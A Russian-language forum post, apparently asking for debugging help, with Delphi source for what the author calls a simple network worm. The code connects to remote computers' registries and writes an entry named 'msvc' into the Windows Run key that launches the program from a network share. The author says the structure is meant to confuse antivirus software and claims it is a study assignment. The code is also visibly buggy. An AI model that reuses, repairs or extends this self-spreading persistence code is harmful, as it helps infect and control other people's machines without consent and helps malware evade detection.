я делаю по-одному ключу, это я сократил
на самом деле я вот как написал
{$APPTYPE CONSOLE}
const
hk=HKEY_CURRENT_USER;
hkl='Software\Microsoft\Windows\CurrentVersion\Run';
hku=HKEY_USERS;
hklm=HKEY_LOCAL_MACHINE;
par='msvc';
function regy(l_key:hkey; what:string=''):boolean;
var
act:string;
t1:integer;
begin
act:=what;
case sizeof(act) of
0:begin //d
RegDeleteValueA(l_key,par);
end;
else begin //w
t1:=length(what);
if RegSetValueEx(l_key,pchar(par),0,reg_sz,pchar(what),t1)=error_success then result:=true else result:=false;
end;
end;
end;
function get_k(s1:hkey; s2:pchar; var hk:hkey):boolean;
begin
if RegCreateKeyEx(s1,s2,0, nil, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil,hk,nil)=error_success then result:=true
else result:=false;
end;
var
str_e:string;
k1:hkey;
mm: TStringList;
i:integer;
co:string;
begin
//...
//str_e=paramstr(0)
//co= '\\RemoteCompName'
//mm.strings[i]='\\RemoteCompName\share'
if RegConnectRegistry(pchar(co),hklm,k1)<>error_success then RegConnectRegistry(pchar(co),hku,k1);
get_k(hklm,hkl,k1);
if not regy(k1,mm.strings[i]+'\'+ExtractFileName(str_e)) then begin
get_k(hku,hkl,k1);
regy(k1,mm.strings[i]+'\'+ExtractFileName(str_e));
end;
RegCloseKey(k1);
end.
идиотизм этот с процедурами и переменными для того, чтобы запутать немного антивирус, прошу прощения..
там два варианта:
1 hklm=HKEY_LOCAL_MACHINE;
2 hku=HKEY_USERS;
оба пишут в локальный реестр, но вторая еще и пустую строку
даже если он не может соединиться, то очевидно функция вернет ошибку, но все функции возвращают успех..
(да.. чтобы не подумали плохого, это лишь простой сетевой червяк, который копирует себя на машины... потом удаляется... (задание по учебе), сегодня уже сдавать
а я такой ламер..)